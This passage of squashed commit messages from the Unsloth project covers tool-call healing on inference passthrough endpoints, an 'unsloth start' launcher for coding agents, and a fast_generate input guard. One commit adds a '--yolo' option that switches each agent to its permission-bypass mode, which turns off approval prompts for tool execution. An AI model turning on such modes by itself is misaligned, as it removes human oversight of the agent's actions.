the workspace 0.10.x path and fail fast past its transformers ceiling.
- save.py: launch _compressed_quantize.py with a clean PYTHONPATH = shadow.
- _compressed_quantize.py: skip linear_attn / vision tower / MTP modules (matches the
RedHatAI and NVIDIA reference quants, and is required by the grouped schemes).
Verified all four schemes (fp8, w8a8, w4a16, mxfp4) on Qwen3.5-9B and Llama-3.2-1B, and
fp8 on Gemma-4, end to end through Studio.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix GGUF LoRA export tests
* Fix export CI expectations
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: wasimysaid <112766706+wasimysaid@users.noreply.github.com>
Co-authored-by: Wasim Yousef Said <wasimysdev@gmail.com>
* inference: add passthrough tool-call healing core (heal_gate, heal_openai_message, StreamToolCallHealer, nudge helpers)
Small GGUF models often emit tool calls as text (<tool_call>{...}</tool_call>,
Gemma <|tool_call>, <function=> XML) instead of structured tool_calls. Studio's
enable-tools loop already heals these, but the client-tool passthrough
(unsloth run --disable-tools, unsloth start agents) relays them verbatim, so
the agent sees prose and the turn dies.
This module is the shared response-side repair layer the passthrough routes
will call: promote parsed text-form calls to structured calls, but only for
function names the client actually declared; coerce arguments through the same
canonical-key healing as the tool loop; never touch the upstream request body
(llama-server KV/slot reuse stays byte-identical). StreamToolCallHealer is the
streaming buffer-and-repair state machine: prose forwards immediately, only a
partial-signal tail or a suspected tool block is held, false alarms flush
verbatim, and a 64 KiB bound caps memory. nudge_should_retry/nudge_messages
support an opt-in single-retry nudge for non-streaming routes (wired later).
Kill-switch: UNSLOTH_DISABLE_TOOL_CALL_HEALING=1. Reuses
core/tool_healing.parse_tool_calls_from_text, strip_tool_call_markup, and
tool_loop_controller.coerce_tool_arguments unchanged.
* inference: heal text-form tool calls on the OpenAI and Responses passthrough
Wire the passthrough healing core into /v1/chat/completions and /v1/responses,
default ON whenever the request declares client tools:
Non-streaming: heal_openai_message runs inside the existing response-mutation
loop; a promoted call flips finish_reason to tool_calls and nulls the content,
and the verbatim-bytes fast path still applies when nothing was healed.
/v1/responses non-streaming inherits this through openai_chat_completions.
Streaming: a StreamToolCallHealer per stream. Ordinary prose relays
byte-for-byte (a fast path keeps upstream bytes when the healer passes a chunk
through whole); once a tool signal appears, content is held, and at the
finish/[DONE] boundary either synthetic delta.tool_calls chunks replace the
markup (finish_reason rewritten to tool_calls, including the synthetic-finish
path) or a false alarm flushes the held text verbatim. Structured upstream
deltas put the healer to sleep after flushing anything held, so grammar-mode
responses stay byte-identical. The Responses stream feeds healed calls through
the same per-call state machinery as structured deltas (indexes live in a
disjoint range so a healed call can never merge into a structured call's
state), and the visible/reasoning split runs first so reasoning text is never
promoted. parallel_tool_calls=false caps healed calls on every path.
The upstream request body is never touched and healing issues no extra
generation, so llama-server slot/KV-cache reuse is unchanged. Opt-out per
request with auto_heal_tool_calls=false (Responses reads it from the
extra-body); requests without tools relay verbatim.
* inference: heal text-form tool calls on the Anthropic /v1/messages passthrough
Streaming: AnthropicPassthroughEmitter.enable_healing(allowed_tools) routes
content deltas through the shared StreamToolCallHealer. A promoted call closes
any open text block (only the safe prose prefix ever streamed into it), opens a
synthetic tool_use block with a fresh toolu_* id, carries one input_json_delta,
and closes; finish() then forces stop_reason to tool_use unless a truncation
(max_tokens) wins. Structured upstream deltas flush anything held and put the
healer to sleep, so grammar-mode responses are untouched, as is every stream
where enable_healing is never called (Studio's own loop, no-tools requests).
disable_parallel_tool_use caps healed calls too.
Non-streaming: the OpenAI message dict is healed BEFORE block building, so the
existing tool_use promotion loop and stop_reason line treat promoted calls
exactly like native ones (finish_reason length still maps to max_tokens). The
legacy tool-XML strip still runs on remaining text, so opted-out requests keep
today's cleanup behavior byte-for-byte.
auto_heal_tool_calls is now a typed field on AnthropicMessagesRequest
(default True, mirroring Chat Completions) and threads into both passthrough
calls. Healing never touches the upstream request body.
* inference: opt-in single-retry tool-call nudge on the non-streaming passthrough
When the model clearly tried to call a tool (a tool signal in the text) but
healing produced nothing usable, re-ask once: the retry body is the original
body plus an assistant turn (the model's own failed text) and a short user
nudge naming the declared tools. The prompt prefix stays byte-identical, so
llama-server reuses the slot's KV cache and only the two-message suffix is
prefilled. The retry replaces the original response only when it actually
yields a promotable or structured call; on any error or still-garbage output
the original response is returned unchanged. Exactly one retry, non-streaming
OpenAI and Anthropic passthroughs only (a stream has already emitted bytes).
OPT-IN per user decision: nudge_tool_calls=true per request (typed on both
ChatCompletionRequest and AnthropicMessagesRequest, lifted from the Responses
extra-body), or UNSLOTH_TOOL_CALL_NUDGE=1 to flip the process default.
auto_heal_tool_calls=false disables healing AND the nudge.
Also align the non-streaming heal on allow_incomplete=True: the response is
final, so a trailing unclosed tool block is a model failure worth repairing,
matching the enable-tools loop's drain semantics.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* inference: never assume the upstream response shape in the nudge helpers
llama-server error bodies can carry message: null (or no choices at all), and
_last_assistant_text / response_has_promotable_calls / nudge_should_retry
called .get() on the message without a dict check, so a malformed upstream
response raised an AttributeError the surrounding except tuples did not catch,
failing the request instead of degrading to 'nothing to heal'. Route the shape
probing through one _first_choice_message helper that returns None for any
non-dict message, and add a parametrized test over the malformed shapes.
* inference: constrain healing by tool_choice, preserve length finish_reason, keep healed event order in Responses streams
Three review findings on the passthrough healer:
- heal_gate now honors the request's tool_choice: "none" disables healing
outright and a forced function narrows the promotion allowlist to that
one function, so healing can never contradict the request's tool-choice
constraint. Wired through the OpenAI chat (stream and non-stream),
Responses, and Anthropic (converted shape) passthroughs.
- The OpenAI non-streaming heal only upgrades finish_reason "stop" to
"tool_calls"; a truncated generation keeps "length" (the healed call
stays attached) matching the streaming and Anthropic paths.
- The Responses stream emits healer events in order instead of collapsing
all text ahead of the healed calls, so text after a healed call no longer
jumps ahead of the function_call item and output indexes are claimed in
the order the model produced them.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* inference: all-or-nothing promotion when a response mixes declared and undeclared text-form calls
Promoting a subset used to strip ALL tool markup from the content, which
silently deleted the text of any call naming an undeclared tool. The heal
now declines entirely when any parsed call is unpromotable, so the whole
message relays verbatim (pre-PR behavior) and no bytes are ever lost. In
streaming, a declared call that completed before an undeclared one arrived
is already emitted; the late undeclared markup still flushes as raw text.
The nudge helpers mirror the same contract via a shared predicate.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* tests: wrap long lines in the Responses healing tests to the project style
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* inference: span-exact healing, disjoint healed stream indexes, per-call Responses message items, allowlisted nudge acceptance
Four review findings on the passthrough healer:
- parse_tool_calls_from_text gains an optional with_spans return so healing
removes EXACTLY the promoted calls' markup. This supersedes the previous
all-or-nothing rule: declared calls promote and every unpromoted byte
(undeclared calls, unparseable closed blocks, suppressed alternate
formats such as a <function=...> block after a JSON call) relays as text.
The stream healer also processes one block per pass, so text between two
healed calls keeps its document position instead of trailing them.
- The OpenAI chat stream shifts native tool-call delta indexes past any
already-emitted healed calls; clients merge deltas by index, so a healed
call and a later native call can no longer merge into one.
- A healed call in the Responses stream closes the open message item and
trailing text opens a fresh one with a later output index, matching the
native stream shape; response.completed snapshots every message item
with its own text.
- The nudge retry only replaces the original response when the retry's
structured call names a DECLARED tool; a hallucinated undeclared call is
not an improvement.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: stop the heal path folding trailing prose into a closed function call
parse_tool_calls_from_text(allow_incomplete=True) cut a <function=...> body only
at an end-anchored </function>, so a fully closed call followed by trailing prose
(<function=..>..</parameter></function> words) folded </parameter></function> and
the prose into the tool argument and deleted the prose from visible content. The
strict path (allow_incomplete=False) already cut at the real </function> via rfind.
Do the same in both modes: trim the body at the real </function> when present and
end the removal span there, falling back to the end-anchored strip and body_end
only when the call is genuinely truncated. Add a regression test.
* inference: one shared single-call budget for healed and native calls
Codex round 5: the parallel-call caps counted healed and native calls
separately, so a healed text-form call followed by a native structured
delta double-emitted on all three streaming surfaces when the client
disabled parallel calls.
- OpenAI SSE: once a healed call went out with parallel_tool_calls
false, native tool_call deltas are dropped instead of index-shifted.
- Anthropic emitter: native deltas skip block allocation when the
healed-plus-native count already filled the single slot, and healed
emission counts open native states too.
- Responses stream: native deltas that survived the chunk-level cap are
skipped once a healed call claimed the slot.
Also adds a span assertion for the closed-</function> trailing-prose
parse fixed in the previous commit.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: relay undeclared text-form calls as text on Anthropic non-streaming
heal_openai_message promotes only declared text-form tool calls and
span-trims just their markup, deliberately leaving every unpromoted byte
(undeclared text-form calls included) in the content to relay as text.
The Anthropic non-streaming builder then ran a blanket _TOOL_XML_RE strip
over that content unconditionally, deleting the undeclared block before
building the text part, so Anthropic clients silently lost a call the
OpenAI non-streaming path preserves. The strip was harmless when healing
was all-or-nothing but became data loss once healing turned span-exact.
Gate the legacy strip on whether healing promoted a call, matching the
OpenAI passthrough and the intent already stated in the comment above.
Add a route-level regression test for the mixed declared+undeclared case.
* inference: require fully declared nudge retries; keep unpromoted Anthropic text
Codex round 6, two findings:
- response_has_promotable_calls accepted a nudge retry when any one
structured call named a declared tool, so a mixed retry (hallucinated
undeclared call plus a declared one) replaced the original and the
caller forwarded the undeclared call, or with parallel_tool_calls
false could keep only it. All structured retry calls must be declared.
- The Anthropic non-streaming builder still ran the legacy _TOOL_XML_RE
strip after span-exact healing, deleting undeclared or malformed call
text that healing deliberately preserved. The legacy strip now runs
only when healing is off (no declared tools, or opted out), matching
the OpenAI passthrough.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* inference: keep unpromoted Anthropic text whenever healing is active
The previous commit skipped the legacy strip only when a call was
actually promoted, so an undeclared-only (or malformed-only) response
was still silently emptied: exactly the dead-turn shape this path
exists to fix, and inconsistent with the OpenAI passthrough, which
relays those bytes verbatim. Gate the strip on healing being active
instead; opt-out and no-tools requests keep the legacy strip.
* Fix schema-aware tool healing for PR #6801
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix passthrough healing ordering for PR #6801
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix stream finish ordering for PR #6801
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: wasimysaid <wasimysdev@gmail.com>
Co-authored-by: wasimysaid <112766706+wasimysaid@users.noreply.github.com>
* replaced connect with start
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix
* Studio: build the coding-agent command from the selected server
The API keys panel showed a hardcoded `unsloth start claude`. `unsloth start`
defaults to 127.0.0.1:8888 and only mints a key for a loopback server, so a
non-default port or a tunnel/remote base would target the wrong server or fail
to mint. Build the command from the panel base/key (and emit a key for
non-loopback), matching the other snippets in the panel.
* CLI: keep `unsloth connect` as a hidden alias for `unsloth start`
Avoids breaking existing scripts and docs that still call `unsloth connect`.
* Tests: stub _unstarted_cleanup in same-task disconnect test
The test builds _SameTaskStreamingResponse via __new__, so set the attribute
that __call__ now reads.
* Match coding-agent command loopback check to the CLI 127.0.0.0/8 rule (#6613)
* Keep unsloth_cli.commands.connect importable as a deprecated shim (#6613)
* Format the new coding-agents panel strings and import per biome (#6613)
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Drop the unsloth connect alias and shim; unsloth start is the only command (#6613)
* Route unsloth connect to unsloth start as a hidden backward-compatible alias (#6613)
* Forward unsloth run model-load flags to unsloth start (gguf-variant, context-length, load-in-4bit, tensor-parallel) (#6613)
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Session-scope coding agent config in unsloth start
Configure each agent for the current session instead of writing the Studio endpoint, key, and default model into the user's own config. Codex, OpenCode, OpenClaw, and Hermes get a private config relocated through their config-path env vars (CODEX_HOME, OPENCODE_CONFIG overlay, OPENCLAW_CONFIG_PATH plus OPENCLAW_STATE_DIR, HERMES_HOME). Claude Code suppresses the attribution header for the session via the CLAUDE_CODE_ATTRIBUTION_HEADER env var plus a --settings overlay, with no ~/.claude write. --launch uses an ephemeral temp dir removed after the agent exits; --no-launch uses a stable Unsloth-owned dir and prints the matching export lines.
* Read relocated agent session config in Local Agent Guides CI
The contract crosscheck and the openclaw/hermes patch helpers now read each agent's config from the relocated path printed by unsloth start --no-launch (CODEX_HOME, OPENCODE_CONFIG, OPENCLAW_CONFIG_PATH, HERMES_HOME) instead of fixed home paths. The Claude attribution A/B toggles the header for the session only (shipped-config HIT vs vanilla MISS) instead of editing ~/.claude/settings.json.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Skip the POSIX-only --no-launch parser test on Windows
test_no_launch_output_is_parseable mirrors the #6547 bash CI parser, which greps export/unset lines and only runs on Linux/macOS runners. On Windows --no-launch prints PowerShell ($env: / Remove-Item), so the export-line assertion does not apply there. Cross-OS staging CI surfaced this.
* Size Claude Code's auto-compact window to the loaded model's context
Claude Code auto-compacts against its native (~600k token) window, so against a smaller local model it overflows the server's context (silent truncation) long before it compacts. Set CLAUDE_CODE_AUTO_COMPACT_WINDOW to the loaded model's real context length (the value codex/openclaw already get via model_context_window / contextWindow). Omitted when the model reports no context length.
* Pin OpenCode/Hermes context window and set 90% compaction across agents
Feed every agent the server-determined sequence length (the value /v1/models reports from runtime_context_length) and a ~90% compaction threshold. OpenCode: a custom-provider model with no limit defaults to context 0, which silently disables auto-compaction, so set limit.context/output and scale the compaction buffer to 10% of the window. Hermes: pin model.context_length (it otherwise falls back to a 256k default when the server's /v1/models omits the field) and set compression.threshold 0.9. Claude: add CLAUDE_AUTOCOMPACT_PCT_OVERRIDE=90 alongside the window. Codex (model_context_window) and OpenClaw (contextWindow) already carried the window and auto-manage off it.
* Add `unsloth start pi` recipe
Pi was the only agent without a built-in recipe, so the agent-guides CI
hand-wrote ~/.pi/agent/models.json. Add a first-class `pi` command mirroring
the others:
- write_pi_config writes the session-scoped OpenAI-compatible provider config
(key in the config, like openclaw/opencode).
- pi() launches `pi --provider unsloth --model <id>` (Pi defaults to the google
provider, so the provider/model are pinned on the command line) with HOME
relocated for the session. Pi has no config-dir env var and resolves ~/.pi off
$HOME, so HOME-scoping keeps the user's ~/.pi untouched.
Migrate the agent-guides CI off the hand-written config onto the
`unsloth start pi --no-launch` path (connection + file-edit), with a crosscheck
for the provider api, so the documented recipe is exercised.
* Harden unsloth start for Windows and WSL agent launches
Address the Codex review on PR 6613:
- write_pi_config now pins the loaded contextWindow and a sane maxTokens so Pi
compacts instead of overflowing a small Studio context (it otherwise assumes
its 128000 default), matching the other agents.
- pi() sets USERPROFILE (and HOMEDRIVE/HOMEPATH when present) alongside HOME on
native Windows, where Node resolves ~/.pi via USERPROFILE rather than HOME, so
the session no longer reads or writes the user's real ~/.pi.
- The WSLENV bridge flags path-valued vars with /p so a Windows npm shim under
/mnt receives translated paths, while scalar vars (the numeric context window)
pass through untranslated. WSLENV is deduped on the bare name.
- _print_env prints the launch command with PowerShell-safe quoting so the inline
--settings JSON survives copy-paste on native Windows --no-launch.
Add tests for the WSLENV path flagging, PowerShell quoting, the Pi context
window, and the Pi USERPROFILE relocation.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Set CLAUDE_CODE_NO_FLICKER for the Claude session
A local server streams in bursts, so Claude Code's full-screen TUI redraw
flickers between tokens. Disable it for the session via CLAUDE_CODE_NO_FLICKER,
alongside the other CLAUDE_CODE_* session env knobs.
* Add a normalized --yolo flag routed to each agent's auto-approve mode
It is easy to forget which agent spells "run tools without prompting" which way,
so `unsloth start` now accepts all three spellings as one option (--yolo,
--dangerously-skip-permissions, --dangerously-bypass-approvals-and-sandbox) and
routes to the agent's own mechanism:
- claude: --dangerously-skip-permissions
- codex: --dangerously-bypass-approvals-and-sandbox
- hermes: --yolo
- pi: --approve (Pi's only approval gate is project trust)
- opencode: a permission allow block in opencode.json (no CLI flag exists)
- openclaw: tools.exec security=full / ask=off / host=gateway (no CLI flag exists)
Because the option is parsed by `unsloth start`, the "wrong" spelling for an
agent still routes correctly instead of leaking through to the agent and erroring.
IS_SANDBOX is deliberately left unset for Claude so its root/sandbox safety gate
still applies. Adds routing, cross-routing, and per-config tests.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix review findings: IPv6 loopback command, pi USERPROFILE under WSL, yolo guard
From a 10-reviewer pass over the PR:
- studio/frontend agent-command.ts: normalize bracketed IPv6 hosts. URL.hostname
returns "[::1]" for http://[::1]:8888, which never matched the "::1" loopback
checks, so the copied command embedded the placeholder API key for a local IPv6
server instead of the bare auto-minting command. Now [::1] is treated as loopback
like the CLI's is_loopback_url, so the command matches the CLI contract.
- pi(): also relocate USERPROFILE (and HOMEDRIVE/HOMEPATH) when running under WSL
against a /mnt Windows shim, not just on native Windows. Windows Node resolves
~/.pi via USERPROFILE, and the WSLENV bridge translates the path, so pi no longer
falls back to the user's real ~/.pi in that case.
- _yolo_command_flags: use .get so a config-based agent (or a typo) yields no flag
instead of a latent KeyError.
Adds tests for the WSL pi USERPROFILE relocation, the yolo unmapped-agent guard,
and that opencode/openclaw --yolo stays config-only (no argv flag).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix round-2 review findings: WSLENV /p upgrade, agent help text
- _merge_wslenv now upgrades a user's pre-existing unflagged WSLENV entry (e.g. a
bare HOME or USERPROFILE) to the path-translated form (HOME/p) instead of leaving
it as-is, so a Windows agent shim under WSL receives the translated session path
rather than the raw Linux path.
- Generalize the `unsloth start` registration help to list all six agents (was only
"Claude Code, Codex").
Adds a test for the WSLENV unflagged-entry upgrade.
* Fix round-3 review findings: complete openclaw --yolo, refresh stale copy
- openclaw --yolo now also writes the host approvals file (exec-approvals.json with
defaults security=full / ask=off / askFallback=full) alongside the tools.exec
config. OpenClaw gates tool execution on both layers (the stricter wins), so the
config alone could still leave it prompting or denying. Mirrors `openclaw
exec-policy preset yolo`. ask=off means nothing is ever prompted, so the runtime
socket block is unnecessary.
- Studio API panel copy: clarify that a local server auto-mints the key while a
remote one embeds it in the command, and add pi to the swap hint.
- Local Agent Guides CI: drop the stale "pi has no start.py recipe" note now that
all six agents are driven via `unsloth start <agent> --no-launch`.
Adds the openclaw approvals-file assertions and a no-yolo openclaw test.
* start: parse claude --version with a regex so a format change does not drop optimization flags
* start: offer to install a missing agent (prompt then run its install command)
* start: auto-start a Studio server for --model when none is running, and stop it on exit
* inference: surface an actionable message when llama-server cannot compile a tool grammar
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix review findings: kill the auto-started server tree on Windows; apply the tool-grammar message to the OpenAI passthrough too
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* start: split --model org/repo:variant so a running session is not evicted
`unsloth start <agent> --model org/repo:QUANT` failed against an already-running
Studio server and, worse, killed whatever model another session had loaded.
/v1/models lists a loaded GGUF under its bare repo id (e.g. unsloth/Qwen3-1.7B-GGUF),
so _resolve_model never matched the `:QUANT`-suffixed request. It then POSTed
/api/inference/load with model_path=org/repo:QUANT, which (a) Hugging Face rejects
("Repo id must use alphanumeric chars, '-', '_' or '.'") and (b) evicts the model the
other session was using, so a second 'unsloth start' in a new tmux/terminal tore down
the first. Re-running the command then attached to the now-empty server, which is why
it 'worked the second time'.
Mirror the org/repo:QUANT -> org/repo + --gguf-variant QUANT shorthand that
'unsloth run' and llama.cpp already accept, splitting it in _connect before we match or
serve. Matching now resolves against the loaded bare repo id (no spurious reload, no
eviction), and any real load uses a valid repo id plus gguf_variant. An explicit
--gguf-variant still wins; local paths and Windows drive letters pass through untouched.
The auto-serve path likewise spawns 'unsloth run --model org/repo --gguf-variant QUANT'.
* start: harden auth-key handling, codex teardown, and CI transcript redaction
Three review findings:
1. CI could leak a live key. agent-guides-drive.sh printed the raw
'unsloth start --no-launch' transcript (which carries export UNSLOTH_API_KEY /
ANTHROPIC_AUTH_TOKEN lines) to the Actions log on both the failure path and the
success path before redact() ran. Add cat_redacted() and use it for those two
prints, so the key is scrubbed on the way to the log while the on-disk file stays
intact for the env parsing that follows.
2. Outages masqueraded as bad keys. _key_accepted caught a broad Exception and
returned False, so a 5xx or timeout while checking a cached key looked like a
rejection: it discarded a good key and minted extra ones (local) or reported 'no
saved key' (remote). Only treat HTTP 401/403 as a rejection; let other errors
propagate so a real outage surfaces.
3. Codex preflight could leave the auto-started server up. _require_gguf_for_codex
runs after _connect may have auto-started Studio but before _run installs its
teardown finally, so a preflight rejection (e.g. a transformers-backend model) left
the server holding the port/GPU until the atexit backstop. Tear it down explicitly
at the point of failure.
Tests: a 5xx on a saved key surfaces without minting; a non-GGUF codex preflight
tears down the auto-served server.
* start: fix IPv6/portless studio URLs, Pi config-dir isolation, and Pi install recipe
Four review findings:
1. Pi ignored the session config when PI_CODING_AGENT_DIR was already set. Pi's
getAgentDir() reads process.env.PI_CODING_AGENT_DIR before falling back to
$HOME/.pi/agent, so a value inherited from the user's shell sent Pi to their real
config and skipped our provider/key (the HOME relocation alone was not enough). Pin
PI_CODING_AGENT_DIR at the session's .pi/agent dir; it is path-valued so the WSL
bridge translates it automatically.
2. Pi install hint dropped Pi's documented --ignore-scripts. Pi's README installs with
'npm install -g --ignore-scripts @earendil-works/pi-coding-agent' and notes it needs
no install scripts, so accepting the prompt now follows that safe recipe.
3. Auto-start ignored a portless UNSLOTH_STUDIO_URL. unsloth run binds to
'parsed.port or 8888', so http://127.0.0.1 launched the child on 8888 but the health
poll (and the returned base) still used port 80, stalling until the startup timeout.
Normalize the base to host:8888 (IPv6-safe) before starting and polling.
4. API-panel command mistook IPv6 loopback for the bare default. The bare 'unsloth
start' only probes 127.0.0.1:8888 on the IPv4 stack, so http://[::1]:8888 must carry
an explicit UNSLOTH_STUDIO_URL. Drop ::1 from the bare-default host set while keeping
it a loopback host (URL emitted, no key needed).
Tests: PI_CODING_AGENT_DIR is set to the session dir; _effective_base normalizes
portless/IPv6 bases; a portless UNSLOTH_STUDIO_URL auto-serves on :8888.
* start: apply fresh-review findings across CLI, CI, and the API-panel command
From a fresh multi-reviewer pass over the merged head plus the latest Codex bot review:
1. Load knobs now always consult the server. _resolve_model matched on model id alone,
so --gguf-variant / --context-length / --no-load-in-4bit / --tensor-parallel were
silently ignored whenever the id was already loaded (asking for UD-Q4_K_XL kept a
Q8_0 serving). With any explicit knob the CLI defers to /api/inference/load, whose
already-loaded dedup answers without reloading when variant and settings match, so a
second session running the same command still attaches without evicting the first.
2. OpenCode --yolo and the session model pin now ride in OPENCODE_CONFIG_CONTENT. A
project's own opencode.json outranks OPENCODE_CONFIG, so a repo config could silently
override the session model and the --yolo permission block; OPENCODE_CONFIG_CONTENT
outranks project config. The API key stays in the private file, never in printed env.
3. The --no-launch recipe's last line is a self-contained one-liner (inline VAR=value
assignments before the command, conflicting vars blanked). People copy just the last
line, and a bare codex/claude there ran against the user's real ~/.codex or Anthropic
credentials with zero isolation, e.g. inheriting a pre-existing damaged ~/.codex
state DB and blaming the recipe. The CI drive script scrubs the key from the one
'invoking:' echo this adds.
4. The auto-serve log is 0600 and the parent handle is closed. It sat world-readable in
the shared tempdir under a predictable name while carrying the minted sk-unsloth-
key from the unsloth run banner.
5. _key_accepted fails with a clean message on outages. Non-auth errors (5xx, network,
timeout) surfaced as a raw traceback; 401/403 still mean a rejected key.
6. _effective_base strips URL paths, and https loopback targets never auto-serve.
http://127.0.0.1:8888/studio polled /studio/api/health (404) and https://127.0.0.1
polled the wrong scheme, both spinning until the 15-minute startup timeout.
7. API-panel command: only literal 127.0.0.1:8888 earns the bare command. localhost can
resolve to ::1, which the bare CLI never probes, so it keeps UNSLOTH_STUDIO_URL.
8. CI artifact sweep covers redacted-configs/ and agent-workdir/, not just logs/.
Tests: 125 CLI tests pass (new coverage for each fix), 156 backend tests pass, ruff
clean. Adds an unsloth connect alias regression test.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* start: hand Pi a clean screen at launch
Pi paints inline from wherever the cursor sits: its first render assumes a
clean screen instead of clearing or entering the alternate screen itself
(current Pi never emits a clear at startup). Launched under unsloth start,
that left the session starting mid-scroll beneath the connection output.
Clear the screen (click.clear, cross-platform, no-op without a TTY) right
before the Studio banner so Pi opens exactly one line down on a clean
viewport. Launch path only: --no-launch recipes and piped output are never
wiped, and alternate-screen agents are left alone.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* start: auto-override hermes' 64K context floor for small model windows
Hermes refuses to initialize when the served model's context window is
under 64,000 tokens, and a second copy of the same check rejects the
compression model mid-session. write_hermes_config previously pinned the
real window, so any small local model (e.g. 40,960) failed at startup
with manual config.yaml instructions.
For windows below the floor the recipe now claims 65,536 in
model.context_length, scales compression.threshold so compaction still
fires at 90% of the real window, and sets
auxiliary.compression.context_length to cover the mid-session check.
Windows at or above the floor keep the exact previous behavior.
* ci: install pi with --ignore-scripts, matching the start.py hint
The pi cell predates the pi recipe in start.py and still installed the
package with lifecycle scripts enabled, so CI stopped exercising the
exact command users are prompted to run. npm_retry now passes extra
flags through, the pi branch mirrors the install hint verbatim, and the
stale no-recipe comment is refreshed.
* ci: fail loudly when a relocation var is missing from connect output
The empty-string guards ran after appending /config.toml or /config.yaml,
so they could never fire: crosscheck_contract silently skipped its
contract checks and patch_hermes_tools died on the root path with a bare
traceback. Check the raw variable first and guide_fail with the real
cause.
* staging: 6613 round 6 (https elision, no-launch home reuse, auto-start key fallback)
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: shimmyshimmer <107991372+shimmyshimmer@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: Wasim Yousef Said <wasimysdev@gmail.com>
* fast_generate: clear error for vLLM-style inputs when fast_inference=False
When fast_inference=False, fast_generate falls back to HuggingFace
generate, and the wrapper already rejects vLLM-only usage (a
sampling_params or lora_request kwarg, or a string prompt). A vLLM prompt
dict ({'prompt':..., 'multi_modal_data':...}) or a SamplingParams passed
positionally slipped through and hit transformers.generate, raising a
cryptic 'SamplingParams object has no attribute update'. Detect both and
raise the same clear 'only supported with fast_inference=True' error.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fast_generate: also reject positional list of SamplingParams and list of vLLM prompt dicts
Address review feedback: the slow-mode guard missed SamplingParams passed inside a
positional list and a list of {"prompt": ...} dicts, both valid vLLM batched shapes
that leaked into transformers.generate. Fold the checks into small predicates and
extend the GPU-free test (now 7 reject + 3 pass).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* test_fast_generate_slow_guard: expose assertions via a test_ function so pytest collects them
The assertions lived in run(), only called from __main__, so pytest reported no tests
collected and CI skipped the coverage. Rename to test_fast_generate_slow_guard; the
standalone script entrypoint still works.
* fast_generate: reject vLLM tokenized/embeds prompt dicts in the slow-mode guard
vLLM also accepts prompt dicts keyed by prompt_token_ids or prompt_embeds, not just
prompt/multi_modal_data. Those slipped past the slow-mode guard and fell through to
HuggingFace generate with a cryptic error. Recognize all vLLM prompt-dict keys and
add a TokensPrompt test case (now 8 reject + 3 pass).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fast_generate slow-mode guard: catch vLLM prompts= keyword form
vLLM's generate names its first argument `prompts`, so a slow-mode call
like fast_generate(prompts="hi") or prompts=[{"prompt": ...}] bypassed the
guard and leaked into HuggingFace generate as an unexpected kwarg. Check
kwargs["prompts"] with the same _is_vllm_prompt predicate and add two test
cases.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fast_generate slow-mode guard: reject vLLM tokenized prompt kwargs
vLLM's legacy call shape passes tokens as prompt_token_ids= (and prompt_embeds=),
which are not HuggingFace generate arguments. In slow mode these bypassed the
guard and leaked into HF generate as unexpected kwargs. Reject their presence
with the same tokenize-first message and add a test case.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fast_generate slow-mode guard: treat prompts= as vLLM-only
prompts is a vLLM keyword, not a HuggingFace generate argument, so any value
passed as prompts= (including a bare token-id list, which _is_vllm_prompt
deliberately ignores for positional HF token ids) is a vLLM-style call. Reject
prompts= / prompt_token_ids= / prompt_embeds= on presence, and keep the
conservative _is_vllm_prompt check only for the positional arg.
* fast_generate slow-mode guard: reject vLLM prompt kwargs on presence
prompts / prompt_token_ids / prompt_embeds are vLLM-only keyword names that
HuggingFace generate does not accept, so a defaulted call like prompts=None
should raise the actionable slow-mode error instead of leaking a None kwarg
into HF generate. Check membership in kwargs rather than a non-None value.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Wasim Yousef Said <wasimysdev@gmail.com>
* report a complete load once llama-server is healthy
